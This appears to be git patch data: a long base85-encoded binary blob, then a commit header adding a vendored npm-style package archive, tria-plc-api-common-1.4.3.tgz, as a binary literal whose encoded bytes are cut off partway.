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 From 387fc5efddecc7e4f885d7d55a389515586f4188 Mon Sep 17 00:00:00 2001 From: mulish77 Date: Mon, 22 Jun 2026 16:25:57 +0300 Subject: [PATCH 25/30] Add files via upload --- local-packages/tria-plc-api-common-1.4.3.tgz | Bin 0 -> 98483 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 local-packages/tria-plc-api-common-1.4.3.tgz diff --git a/local-packages/tria-plc-api-common-1.4.3.tgz b/local-packages/tria-plc-api-common-1.4.3.tgz new file mode 100644 index 0000000000000000000000000000000000000000..b2ac0150f0d89165f8278e5c04dd8706e1ab3ccb GIT binary patch literal 98483 zcmV)&K#ad1iwFP!00002|LnbMZ`{b1Ab3CfSA=stRm`pwoqAuSu1X_IX13qDQYM)unR=9*z3v)=P`7;m(DqU>UvT9bQF92=xKz*E3b>Ar%pHauDtkm!5O(; zY_sq7&(R+y`>)w-uC1&f-S=j*xxCt3LVs9ZU285buB|m!&>xyh&Bc{v^oQmjKEZ#Z zD0ad>G-vLMP6nm_K9K)vqX?rY4!v$%+jw;4gs9VTaW@E^7^6*O#TQ7q=Q;OVAjYygT&t5I%asby zK*xal5k|crL>Az~Lz^gT#SnrP(BcO2(6^hYxq-Zeg*q9zE7U#p&gdwt1aqzx!i>A< zTlP~J0x1)|)yX1;bXXydN1@LefAtj#;eQyeUEK40oZwmp+W-*bgmwlvc3dZRG_;cx zNwjm>KvxNgOuj%_fARv+3CZ1xmcj z8i)wYVAeO#7{;Z?I=&eOVH`D3t<%BLe&CM!xYj^-=*sDja0|uZ2%~X*;}NT9Z!_+_ z4b1zP@@}+=t^&_R&5cLhz>i|o?R(gdJHs%zx$P{XO%&qyBQL~O?ce)2ihqut4!mv{ zq(=g+&;D5;&1&@&STGm_z8(xM%j&)#;Sug&e>4#5+xAoV7(FEwZ1@`*^>K_06YBPz 